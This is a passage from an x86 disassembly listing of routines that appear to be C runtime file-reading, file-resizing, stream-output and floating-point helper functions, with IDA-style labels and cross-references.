		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	ecx, [eax+20h]
		add	edx, ecx
		mov	ecx, [eax+24h]
		add	edx, ecx
		mov	eax, [eax+28h]
		add	eax, edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+34h]
		cmp	[ebp+var_8], eax
		jge	short loc_44D809
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+34h]
		sub	edx, [ebp+var_8]
		mov	[eax+18h], edx


loc_44D809:				; CODE XREF: sub_44D331+4A2j
					; sub_44D331+4CAj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44D331	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D811	proc near		; CODE XREF: sub_44C861+348p
					; DMN1:0044DB8Cp

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_44D846
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 2
		jz	short loc_44D84D


loc_44D846:				; CODE XREF: sub_44D811+18j
		xor	eax, eax
		jmp	loc_44DB36
; ---------------------------------------------------------------------------


loc_44D84D:				; CODE XREF: sub_44D811+33j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		add	eax, edx
		test	byte ptr [eax+4], 48h
		jz	short loc_44D8AF
		cmp	byte ptr [eax+5], 0Ah
		jz	short loc_44D8AF
		mov	eax, [ebp+var_C]
		lea	edx, [eax+1]
		mov	[ebp+var_C], edx
		mov	edx, ebx
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, ebx
		sar	ecx, 5
		mov	ecx, dword_413988[ecx*4]
		mov	dl, [ecx+edx+5]
		mov	[eax], dl
		inc	edi
		dec	[ebp+arg_8]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	byte ptr [edx+eax+5], 0Ah


loc_44D8AF:				; CODE XREF: sub_44D811+56j
					; sub_44D811+5Cj
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	eax, [edx+eax]
		push	eax
		call	dword_411E18	; ReadFile
		test	eax, eax
		jnz	short loc_44D91F
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax
		cmp	eax, 5
		jnz	short loc_44D900
		call	sub_449321
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_44DB36
; ---------------------------------------------------------------------------


loc_44D900:				; CODE XREF: sub_44D811+DAj
		cmp	[ebp+var_10], 6Dh
		jnz	short loc_44D90D
		xor	eax, eax
		jmp	loc_44DB36
; ---------------------------------------------------------------------------


loc_44D90D:				; CODE XREF: sub_44D811+F3j
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_4491C1
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_44DB36
; ---------------------------------------------------------------------------


loc_44D91F:				; CODE XREF: sub_44D811+CCj
		mov	eax, [ebp+var_4]
		add	edi, eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 80h
		jz	loc_44DB34
		cmp	[ebp+var_4], 0
		jz	short loc_44D96E
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_44D96E
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	4
		jmp	short loc_44D989
; ---------------------------------------------------------------------------


loc_44D96E:				; CODE XREF: sub_44D811+136j
					; sub_44D811+13Ej
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		and	byte ptr [eax],	0FBh


loc_44D989:				; CODE XREF: sub_44D811+15Bj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	esi, eax
		jmp	loc_44DB1D
; ---------------------------------------------------------------------------


loc_44D996:				; CODE XREF: sub_44D811+313j
		cmp	byte ptr [esi],	1Ah
		jnz	short loc_44D9DA
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 40h
		jnz	loc_44DB2A
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	2
		jmp	loc_44DB2A
; ---------------------------------------------------------------------------


loc_44D9DA:				; CODE XREF: sub_44D811+188j
		cmp	byte ptr [esi],	0Dh
		jz	short loc_44D9F4
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, esi
		inc	esi
		mov	dl, [edx]
		mov	[eax], dl
		jmp	loc_44DB1D
; ---------------------------------------------------------------------------


loc_44D9F4:				; CODE XREF: sub_44D811+1CCj
		mov	eax, [ebp+arg_4]
		lea	eax, [eax+edi-1]
		cmp	esi, eax
		jnb	short loc_44DA2E
		cmp	byte ptr [esi+1], 0Ah
		jnz	short loc_44DA19
		add	esi, 2
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	loc_44DB1D
; ---------------------------------------------------------------------------


loc_44DA19:				; CODE XREF: sub_44D811+1F2j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, esi
		inc	esi
		mov	dl, [edx]
		mov	[eax], dl
		jmp	loc_44DB1D
; ---------------------------------------------------------------------------


loc_44DA2E:				; CODE XREF: sub_44D811+1ECj
		inc	esi
		mov	[ebp+var_10], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		lea	eax, [ebp+var_11]
		push	eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	eax, [edx+eax]
		push	eax
		call	dword_411E18	; ReadFile
		test	eax, eax
		jnz	short loc_44DA6D
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax


loc_44DA6D:				; CODE XREF: sub_44D811+251j
		cmp	[ebp+var_10], 0
		jnz	short loc_44DA79
		cmp	[ebp+var_4], 0
		jnz	short loc_44DA8A


loc_44DA79:				; CODE XREF: sub_44D811+260j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh
		jmp	loc_44DB1D
; ---------------------------------------------------------------------------


loc_44DA8A:				; CODE XREF: sub_44D811+266j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 48h
		jz	short loc_44DAE2
		cmp	[ebp+var_11], 0Ah
		jnz	short loc_44DAB9
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	short loc_44DB1D
; ---------------------------------------------------------------------------


loc_44DAB9:				; CODE XREF: sub_44D811+298j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	cl, [ebp+var_11]
		mov	[edx+eax+5], cl
		jmp	short loc_44DB1D
; ---------------------------------------------------------------------------


loc_44DAE2:				; CODE XREF: sub_44D811+292j
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+var_8]
		jnz	short loc_44DAFE
		cmp	[ebp+var_11], 0Ah
		jnz	short loc_44DAFE
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	short loc_44DB1D
; ---------------------------------------------------------------------------


loc_44DAFE:				; CODE XREF: sub_44D811+2D7j
					; sub_44D811+2DDj
		push	1
		push	0FFFFFFFFh
		push	ebx
		call	sub_44CD71
		add	esp, 0Ch
		cmp	[ebp+var_11], 0Ah
		jz	short loc_44DB1D
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh


loc_44DB1D:				; CODE XREF: sub_44D811+180j
					; sub_44D811+1DEj ...
		mov	eax, [ebp+arg_4]
		add	eax, edi
		cmp	esi, eax
		jb	loc_44D996


loc_44DB2A:				; CODE XREF: sub_44D811+1A3j
					; sub_44D811+1C4j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	edi, eax


loc_44DB34:				; CODE XREF: sub_44D811+12Cj
		mov	eax, edi


loc_44DB36:				; CODE XREF: sub_44D811+37j
					; sub_44D811+EAj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44D811	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		cmp	ebx, dword_413A88
		jnb	short loc_44DB6C
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44DB7C


loc_44DB6C:				; CODE XREF: DMN1:0044DB4Fj
		call	sub_449321
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44DB9F
; ---------------------------------------------------------------------------


loc_44DB7C:				; CODE XREF: DMN1:0044DB6Aj
		push	ebx
		call	sub_44BC01
		pop	ecx
		mov	eax, [ebp+10h]
		push	eax
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_44D811
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_44BC61
		pop	ecx
		mov	eax, esi


loc_44DB9F:				; CODE XREF: DMN1:0044DB7Aj
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_44DD21
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44DBD1	proc near		; CODE XREF: sub_44C861+35Fp
					; sub_44DD21+46p

var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1014h
		call	sub_4486B1
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_4], 0
		push	1
		push	0
		push	ebx
		call	sub_44CD71
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44DC15
		push	2
		push	0
		push	ebx
		call	sub_44CD71
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44DC1D


loc_44DC15:				; CODE XREF: sub_44DBD1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_44DD11
; ---------------------------------------------------------------------------


loc_44DC1D:				; CODE XREF: sub_44DBD1+42j
		mov	eax, [ebp+arg_4]
		mov	esi, eax
		sub	esi, [ebp+var_8]
		test	esi, esi
		jle	loc_44DCC2
		lea	edx, [ebp+var_1010]
		mov	ecx, 1000h
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx
		push	8000h
		push	ebx
		call	sub_44E161
		add	esp, 8
		mov	[ebp+var_10], eax


loc_44DC53:				; CODE XREF: sub_44DBD1+E0j
		cmp	esi, 1000h
		jb	short loc_44DC67
		mov	[ebp+var_1014],	1000h
		jmp	short loc_44DC6F
; ---------------------------------------------------------------------------


loc_44DC67:				; CODE XREF: sub_44DBD1+88j
		mov	eax, esi
		mov	[ebp+var_1014],	eax


loc_44DC6F:				; CODE XREF: sub_44DBD1+94j
		mov	eax, [ebp+var_1014]
		push	eax
		lea	eax, [ebp+var_1010]
		push	eax
		push	ebx
		call	sub_44B5F1
		add	esp, 0Ch
		mov	edi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44DCA9
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 5
		jnz	short loc_44DCA3
		call	sub_449321
		mov	dword ptr [eax], 0Dh


loc_44DCA3:				; CODE XREF: sub_44DBD1+C5j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_44DCB3
; ---------------------------------------------------------------------------


loc_44DCA9:				; CODE XREF: sub_44DBD1+BAj
		mov	eax, esi
		sub	eax, edi
		mov	esi, eax
		test	eax, eax
		jg	short loc_44DC53


loc_44DCB3:				; CODE XREF: sub_44DBD1+D6j
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_44E161
		add	esp, 8
		jmp	short loc_44DCFF
; ---------------------------------------------------------------------------


loc_44DCC2:				; CODE XREF: sub_44DBD1+56j
		test	esi, esi
		jge	short loc_44DCFF
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_44CD71
		add	esp, 0Ch
		push	ebx
		call	sub_44BAE1
		pop	ecx
		push	eax
		call	dword_411E1C	; SetEndOfFile
		test	eax, eax
		setnz	al
		and	eax, 1
		dec	eax
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44DCFF
		call	sub_449321
		mov	dword ptr [eax], 0Dh


loc_44DCFF:				; CODE XREF: sub_44DBD1+EFj
					; sub_44DBD1+F3j ...
		push	0
		mov	eax, [ebp+var_C]
		push	eax
		push	ebx
		call	sub_44CD71
		add	esp, 0Ch
		mov	eax, [ebp+var_4]


loc_44DD11:				; CODE XREF: sub_44DBD1+47j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44DBD1	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44DD21	proc near		; CODE XREF: DMN1:0044DBBCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_44DD4A
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44DD5A


loc_44DD4A:				; CODE XREF: sub_44DD21+Cj
		call	sub_449321
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44DD7A
; ---------------------------------------------------------------------------


loc_44DD5A:				; CODE XREF: sub_44DD21+27j
		push	ebx
		call	sub_44BC01
		pop	ecx
		mov	eax, [esp+8+arg_4]
		push	eax
		push	ebx
		call	sub_44DBD1
		add	esp, 8
		mov	esi, eax
		push	ebx
		call	sub_44BC61
		pop	ecx
		mov	eax, esi


loc_44DD7A:				; CODE XREF: sub_44DD21+37j
		pop	esi
		pop	ebx
		retn
sub_44DD21	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44DD81	proc near		; CODE XREF: sub_44CC41+EFp
					; sub_44CC41+100p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		jmp	loc_44DE3E
; ---------------------------------------------------------------------------


loc_44DD95:				; CODE XREF: sub_44DD81+C0j
		mov	eax, [esi+18h]
		cmp	eax, [esi+10h]
		ja	short loc_44DDB0
		push	esi
		call	sub_449E21
		pop	ecx
		test	eax, eax
		jge	short loc_44DDB0
		or	eax, 0FFFFFFFFh
		jmp	loc_44DE60
; ---------------------------------------------------------------------------


loc_44DDB0:				; CODE XREF: sub_44DD81+1Aj
					; sub_44DD81+25j
		test	word ptr [esi],	400h
		jz	short loc_44DDC7
		push	0Ah
		push	ebx
		call	sub_44E271
		add	esp, 8
		mov	[ebp+var_C], eax
		jmp	short loc_44DDCE
; ---------------------------------------------------------------------------


loc_44DDC7:				; CODE XREF: sub_44DD81+34j
		mov	[ebp+var_C], 0


loc_44DDCE:				; CODE XREF: sub_44DD81+44j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	short loc_44DDE3
		mov	eax, [ebp+var_4]
		sub	eax, ebx
		inc	eax
		mov	[ebp+var_10], eax
		jmp	short loc_44DDF2
; ---------------------------------------------------------------------------


loc_44DDE3:				; CODE XREF: sub_44DD81+55j
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_44DDE8:				; CODE XREF: sub_44DD81+6Cj
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_44DDE8
		mov	[ebp+var_10], eax


loc_44DDF2:				; CODE XREF: sub_44DD81+60j
		mov	edi, [ebp+var_10]
		mov	eax, [esi+18h]
		mov	edx, [esi+10h]
		sub	eax, edx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], edi
		jnb	short loc_44DE0F
		mov	[ebp+var_4], 0
		mov	edi, [ebp+var_8]


loc_44DE0F:				; CODE XREF: sub_44DD81+82j
		push	edi
		push	ebx
		mov	eax, [esi+10h]
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		add	ebx, edi
		lea	eax, [esi+10h]
		mov	edx, [eax]
		add	edx, edi
		mov	[eax], edx
		cmp	[ebp+var_4], 0
		jz	short loc_44DE3E
		push	esi
		call	sub_449C21
		pop	ecx
		test	eax, eax
		jz	short loc_44DE3E
		or	eax, 0FFFFFFFFh
		jmp	short loc_44DE60
; ---------------------------------------------------------------------------


loc_44DE3E:				; CODE XREF: sub_44DD81+Fj
					; sub_44DD81+ABj ...
		cmp	byte ptr [ebx],	0
		jnz	loc_44DD95
		test	word ptr [esi],	800h
		jz	short loc_44DE5E
		push	esi
		call	sub_449C21
		pop	ecx
		test	eax, eax
		jz	short loc_44DE5E
		or	eax, 0FFFFFFFFh
		jmp	short loc_44DE60
; ---------------------------------------------------------------------------


loc_44DE5E:				; CODE XREF: sub_44DD81+CBj
					; sub_44DD81+D6j
		xor	eax, eax


loc_44DE60:				; CODE XREF: sub_44DD81+2Aj
					; sub_44DD81+BBj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44DD81	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44DE71	proc near		; CODE XREF: sub_44D291+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_4]
		movzx	eax, word ptr [ebx+6]
		and	eax, 7FF0h
		sar	eax, 4
		mov	si, ax
		cmp	si, 7FFh
		jnz	short loc_44DEC7
		mov	edx, [esp+0Ch+arg_0]
		mov	word ptr [edx],	0
		test	word ptr [ebx+6], 0Fh
		jnz	short loc_44DEB3
		cmp	word ptr [ebx+4], 0
		jnz	short loc_44DEB3
		cmp	word ptr [ebx+2], 0
		jnz	short loc_44DEB3
		cmp	word ptr [ebx],	0
		jz	short loc_44DEBA


loc_44DEB3:				; CODE XREF: sub_44DE71+2Cj
					; sub_44DE71+33j ...
		mov	edi, 2
		jmp	short loc_44DEBF
; ---------------------------------------------------------------------------


loc_44DEBA:				; CODE XREF: sub_44DE71+40j
		mov	edi, 1


loc_44DEBF:				; CODE XREF: sub_44DE71+47j
		mov	ax, di
		movsx	eax, ax
		jmp	short loc_44DF0B
; ---------------------------------------------------------------------------


loc_44DEC7:				; CODE XREF: sub_44DE71+1Bj
		test	si, si
		jg	short loc_44DEDB
		push	ebx
		call	sub_44E291
		pop	ecx
		mov	si, ax
		test	ax, ax
		jg	short loc_44DF00


loc_44DEDB:				; CODE XREF: sub_44DE71+59j
		movzx	eax, word ptr [ebx+6]
		and	eax, 0FFFF800Fh
		or	eax, 3FE0h
		mov	[ebx+6], ax
		mov	edx, [esp+0Ch+arg_0]
		mov	ax, si
		sub	ax, 3FEh
		mov	[edx], ax
		or	eax, 0FFFFFFFFh
		jmp	short loc_44DF0B
; ---------------------------------------------------------------------------


loc_44DF00:				; CODE XREF: sub_44DE71+68j
		mov	edx, [esp+0Ch+arg_0]
		mov	word ptr [edx],	0
		xor	eax, eax


loc_44DF0B:				; CODE XREF: sub_44DE71+54j
					; sub_44DE71+8Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_44DE71	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44DF11	proc near		; CODE XREF: sub_44D2B1+Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		movzx	eax, word ptr [ebx+6]
		and	eax, 7FF0h
		sar	eax, 4
		mov	si, ax
		cmp	si, 7FFh
		jnz	short loc_44DF66
		test	word ptr [ebx+6], 0Fh
		jnz	short loc_44DF4F
		cmp	word ptr [ebx+4], 0
		jnz	short loc_44DF4F
		cmp	word ptr [ebx+2], 0
		jnz	short loc_44DF4F
		cmp	word ptr [ebx],	0
		jz	short loc_44DF56


loc_44DF4F:				; CODE XREF: sub_44DF11+28j
					; sub_44DF11+2Fj ...
		mov	edi, 2
		jmp	short loc_44DF5B
; ---------------------------------------------------------------------------


loc_44DF56:				; CODE XREF: sub_44DF11+3Cj
		mov	edi, 1


loc_44DF5B:				; CODE XREF: sub_44DF11+43j
		mov	ax, di
		movsx	eax, ax
		jmp	loc_44E11B
; ---------------------------------------------------------------------------


loc_44DF66:				; CODE XREF: sub_44DF11+20j
		test	si, si
		jnz	short loc_44DF81
		push	ebx
		call	sub_44E291
		pop	ecx
		mov	si, ax
		test	ax, ax
		jle	short loc_44DF81
		xor	eax, eax
		jmp	loc_44E11B
; ---------------------------------------------------------------------------


loc_44DF81:				; CODE XREF: sub_44DF11+58j
					; sub_44DF11+67j
		movsx	eax, si
		mov	edx, [ebp+arg_4]
		add	eax, edx
		mov	[ebp+arg_4], eax
		cmp	eax, 7FFh
		jl	short loc_44DFC3
		test	word ptr [ebx+6], 8000h
		jz	short loc_44DFA8
		fld	dbl_4119DC
		fchs
		fstp	[ebp+var_8]
		jmp	short loc_44DFB1
; ---------------------------------------------------------------------------


loc_44DFA8:				; CODE XREF: sub_44DF11+88j
		fld	dbl_4119DC
		fstp	[ebp+var_8]


loc_44DFB1:				; CODE XREF: sub_44DF11+95j
		mov	eax, [ebp+arg_0]
		fld	[ebp+var_8]
		fstp	qword ptr [eax]
		mov	eax, 1
		jmp	loc_44E11B
; ---------------------------------------------------------------------------


loc_44DFC3:				; CODE XREF: sub_44DF11+80j
		cmp	[ebp+arg_4], 0
		jle	short loc_44DFE9
		movzx	eax, word ptr [ebx+6]
		and	eax, 0FFFF800Fh
		mov	edx, [ebp+arg_4]
		movsx	edx, dx
		shl	edx, 4
		or	eax, edx
		mov	[ebx+6], ax
		or	eax, 0FFFFFFFFh
		jmp	loc_44E11B
; ---------------------------------------------------------------------------


loc_44DFE9:				; CODE XREF: sub_44DF11+B6j
		mov	ax, [ebx+6]
		and	ax, 8000h
		mov	word ptr [ebp+var_8+6],	ax
		movzx	eax, word ptr [ebx+6]
		and	eax, 0Fh
		or	eax, 10h
		mov	[ebx+6], ax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		cmp	eax, 0FFFFFFCCh
		jge	short loc_44E02F
		mov	ax, word ptr [ebp+var_8+6]
		mov	[ebx+6], ax
		mov	word ptr [ebx+4], 0
		mov	word ptr [ebx+2], 0
		mov	word ptr [ebx],	0
		xor	eax, eax
		jmp	loc_44E11B
; ---------------------------------------------------------------------------


loc_44E02F:				; CODE XREF: sub_44DF11+FCj
		mov	eax, [ebp+arg_4]
		mov	word ptr [ebp+var_8+4],	ax
		jmp	short loc_44E05A
; ---------------------------------------------------------------------------


loc_44E038:				; CODE XREF: sub_44DF11+14Ej
		mov	ax, [ebx+2]
		mov	[ebx], ax
		mov	ax, [ebx+4]
		mov	[ebx+2], ax
		mov	ax, [ebx+6]
		mov	[ebx+4], ax
		mov	word ptr [ebx+6], 0
		add	word ptr [ebp+var_8+4],	10h


loc_44E05A:				; CODE XREF: sub_44DF11+125j
		cmp	word ptr [ebp+var_8+4],	0FFF0h
		jle	short loc_44E038
		movsx	eax, word ptr [ebp+var_8+4]
		neg	eax
		mov	word ptr [ebp+var_8+4],	ax
		test	ax, ax
		jz	loc_44E110
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx]
		mov	ecx, eax
		sar	edx, cl
		mov	dword ptr [ebp+var_8], edx
		movzx	ecx, word ptr [ebx+2]
		mov	[ebp+var_C], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_C]
		shl	eax, cl
		mov	edx, dword ptr [ebp+var_8]
		or	edx, eax
		mov	ax, dx
		mov	[ebx], ax
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx+2]
		mov	ecx, eax
		sar	edx, cl
		mov	[ebp+var_10], edx
		movzx	ecx, word ptr [ebx+4]
		mov	[ebp+var_14], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_14]
		shl	eax, cl
		mov	edx, [ebp+var_10]
		or	edx, eax
		mov	ax, dx
		mov	[ebx+2], ax
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx+4]
		mov	ecx, eax
		sar	edx, cl
		mov	[ebp+var_18], edx
		movzx	ecx, word ptr [ebx+6]
		mov	[ebp+var_1C], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_1C]
		shl	eax, cl
		mov	edx, [ebp+var_18]
		or	edx, eax
		mov	ax, dx
		mov	[ebx+4], ax
		movzx	eax, word ptr [ebx+6]
		movsx	ecx, word ptr [ebp+var_8+4]
		sar	eax, cl
		mov	[ebx+6], ax


loc_44E110:				; CODE XREF: sub_44DF11+15Dj
		mov	ax, word ptr [ebp+var_8+6]
		or	[ebx+6], ax
		or	eax, 0FFFFFFFFh


loc_44E11B:				; CODE XREF: sub_44DF11+50j
					; sub_44DF11+6Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44DF11	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E131	proc near		; CODE XREF: sub_44D331+409p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		mov	ecx, esi
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		mov	edx, esi
		imul	edx, eax
		mov	eax, ebx
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	esi
		pop	ebx
